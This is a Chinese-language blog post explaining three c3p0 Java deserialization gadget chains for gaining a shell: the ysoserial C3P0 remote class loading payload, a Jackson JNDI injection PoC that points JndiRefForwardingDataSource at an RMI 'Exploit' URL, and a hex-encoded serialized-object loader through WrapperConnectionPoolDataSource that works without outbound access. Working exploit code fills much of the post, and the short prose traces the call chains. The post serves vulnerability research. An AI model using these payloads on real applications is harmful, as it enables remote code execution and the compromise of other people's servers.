c3p0的三个gadget

c3p0有三种方式getshell

  • http base
  • jndi
  • hex序列化字节加载器

http base适用于原生反序列化,后面两种适用于其他解组类型的反序列化。具体来讲,jndi适用于jdk8u191以下支持reference情况,hex序列化字节加载器适用于不出网但是目标依赖有gadget链的情况。

http base

c3p0 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package ysoserial.payloads;

import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}




private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}

}

connectionPoolDataSource是PoolSource,但是PoolSource没有实现序列化接口,所以会在PoolBackedDataSource时进入到catch块中。
image.png

image.png

image.png

catch块中调用indirector.indirectForm(this.connectionPoolDataSource)会把Referenceable类型放到ReferenceSerialized中并进行序列化。
image.png

在反序列化时,会调用ReferenceSerialized的getObject方法,向http base请求类
image.png

image.png

image.png

jndi 注入

PoolBackedDataSourceBase
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.*;

class Person {
public Object object;
}

public class TemplatePoc {
public static void main(String[] args) throws IOException {
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);
}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}

}

image.png

image.png

image.png

image.png

hex序列化字节加载器

image.png
image.png

在一些非原生的反序列化(如jackson)的情况下,c3p0可以做到不出网利用。其原理是利用jackson的反序列化时调用userOverridesAsString的setter,在setter中运行过程中会把传入的以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.*;

class Person {
public Object object;
}

public class TemplatePoc {
public static void main(String[] args) throws IOException {

InputStream in = new FileInputStream("/Users/cengsiqi/Desktop/test.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";

System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);
}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}

}

简单跟踪一下,进入setter方法。
image.png

由parseUserOverridesAsString对字符串进行处理
image.png

提取HexAsciiSerializedMap之后的东西
image.png

最后由fromByteArray中的deserializeFromByteArray进行反序列化
image.png

image.png

Author

李三(cl0und)

Posted on

2020-04-18

Updated on

2020-07-11

Licensed under